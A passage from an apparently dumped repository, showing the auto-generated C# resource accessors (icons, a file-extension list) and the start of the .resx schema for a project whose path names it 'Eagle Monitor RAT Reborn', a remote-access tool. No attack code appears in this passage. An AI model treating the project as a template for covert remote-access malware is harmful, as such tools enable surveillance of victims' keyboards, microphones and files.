System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap downloads_folder_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"downloads_folder_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap eagle2 {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"eagle2\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon eagle21 {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"eagle21\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap end_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"end_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une chaîne localisée semblable à 7Z\r\n        ///ACE\r\n        ///ADA\r\n        ///ADB\r\n        ///ADS\r\n        ///AIF\r\n        ///ANI\r\n        ///API\r\n        ///ARC\r\n        ///ARJ\r\n        ///ART\r\n        ///ASC\r\n        ///ASF\r\n        ///ASM\r\n        ///ASP\r\n        ///ASPX\r\n        ///ASX\r\n        ///AU3\r\n        ///AVI\r\n        ///BAK\r\n        ///BAS\r\n        ///BASH\r\n        ///BAT\r\n        ///BFC\r\n        ///BIN\r\n        ///BMP\r\n        ///BUD\r\n        ///BZ2\r\n        ///C\r\n        ///CAB\r\n        ///CAT\r\n        ///CBL\r\n        ///CBT\r\n        ///CDA\r\n        ///CDT\r\n        ///CER\r\n        ///CFML\r\n        ///CGI\r\n        ///CHM\r\n        ///CLASS\r\n        ///CLP\r\n        ///CMAKE\r\n        ///CMD\r\n        ///CMF\r\n        ///COM\r\n        ///CPL\r\n        ///CPP\r\n        ///CS\r\n        ///CSS\r\n        ///CSV\r\n        ///CTY\r\n        ///CWK\r\n        ///CWS\r\n        ///CUR\r\n        ///D\r\n        ///DAO\r\n        ///DAT\r\n        ///DB\r\n        ///DBF\r\n        ///DD\r\n        ///DEB\r\n        ///DEV\r\n        ///DFM\r\n        ///DIC\r\n        ///DIF\r\n        ///DIR\r\n        ///DLL\r\n        ///DMG\r\n        ///DOC\r\n        ///DOCKERFILE\r\n        ///DOCM\r\n        ///DOCX\r\n        ///DOT\r\n        ///DOTX\r\n        ///DPR\r\n        ///DRV\r\n        ///DS\r\n        ///DUN\r\n        ///DWG\r\n        ///DXF\r\n        ///EL\r\n        ///ELM\r\n        ///EMACS\r\n        ///EMF\r\n        ///EML\r\n        ///EPS\r\n        ///EPS2\r\n        ///ERL\r\n        ///EVE\r\n        ///EXE\r\n        ///EX\r\n        ///EXS\r\n        ///FFL\r\n        ///FFO\r\n        ///FLA\r\n        ///FLV\r\n        ///FON\r\n        ///FNT\r\n        ///FS\r\n        ///FSH\r\n        ///FSI\r        /// [le reste de la chaîne a été tronqué]&quot;;.\r\n        /// </summary>\r\n        internal static string extensions {\r\n            get {\r\n                return ResourceManager.GetString(\"extensions\", resourceCulture);\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap file_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"file_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap file_delete_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"file_delete_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap folder_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"folder_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap forward_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"forward_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap github_2x {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"github@2x\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_advanced_search {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_advanced_search\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_Binary_Code {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_Binary_Code\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_c_plus_plus {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_c_plus_plus\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_categorize {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_categorize\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_chat {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_chat\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_command_line {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_command_line\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_computer_virus {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_computer_virus\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_control_panel {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_control_panel\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_create {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_create\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_database_backup {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_database_backup\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_download {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_download\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_electronics {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_electronics\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_ethernet_on {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_ethernet_on\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_file_explorer {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_file_explorer\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_imac {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_imac\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_index {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_index\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_informatics {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_informatics\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_information {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_information\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap icons8_information_32 {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_information_32\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_key {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_key\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_keyboard {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_keyboard\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_lock_file {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_lock_file\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_mail {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_mail\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_microphone {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_microphone\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_microsoft_admin {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_microsoft_admin\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_new_property {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_new_property\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_parcel {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_parcel\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_private_folder {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_private_folder\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_question_mark {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_question_mark\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_remote_desktop {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_remote_desktop\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_schedule_mail {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_schedule_mail\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_security_document {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_security_document\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_settings {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_settings\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_signal {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_signal\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_single_line_text_input {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_single_line_text_input\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_source_code {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_source_code\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_system_task {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_system_task\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_text_input_form {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_text_input_form\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_time_machine {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_time_machine\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_todo_list {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_todo_list\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_Tools {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_Tools\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_user {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_user\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_video_call {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_video_call\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_visual_basic {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_visual_basic\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon icons8_wrench {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"icons8_wrench\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon imageres_15 {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"imageres_15\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Icon semblable à (Icône).\r\n        /// </summary>\r\n        internal static System.Drawing.Icon imageres_4 {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"imageres_4\", resourceCulture);\r\n                return ((System.Drawing.Icon)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap key_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"key_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap login_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"login_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap microphone_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"microphone_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap minus_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"minus_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap pause_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"pause_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap pin_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"pin_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap replay_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"replay_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap resume_button_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"resume_button_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap save_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"save_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap send_letter_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"send_letter_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap single_line_text_input_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"single_line_text_input_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap text_input_form_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"text_input_form_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap time_machine_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"time_machine_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap uninstall_programs_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"uninstall_programs_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap user_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"user_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n        \r\n        /// <summary>\r\n        ///   Recherche une ressource localisée de type System.Drawing.Bitmap.\r\n        /// </summary>\r\n        internal static System.Drawing.Bitmap video_call_32px {\r\n            get {\r\n                object obj = ResourceManager.GetObject(\"video_call_32px\", resourceCulture);\r\n                return ((System.Drawing.Bitmap)(obj));\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Properties/Resources.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element 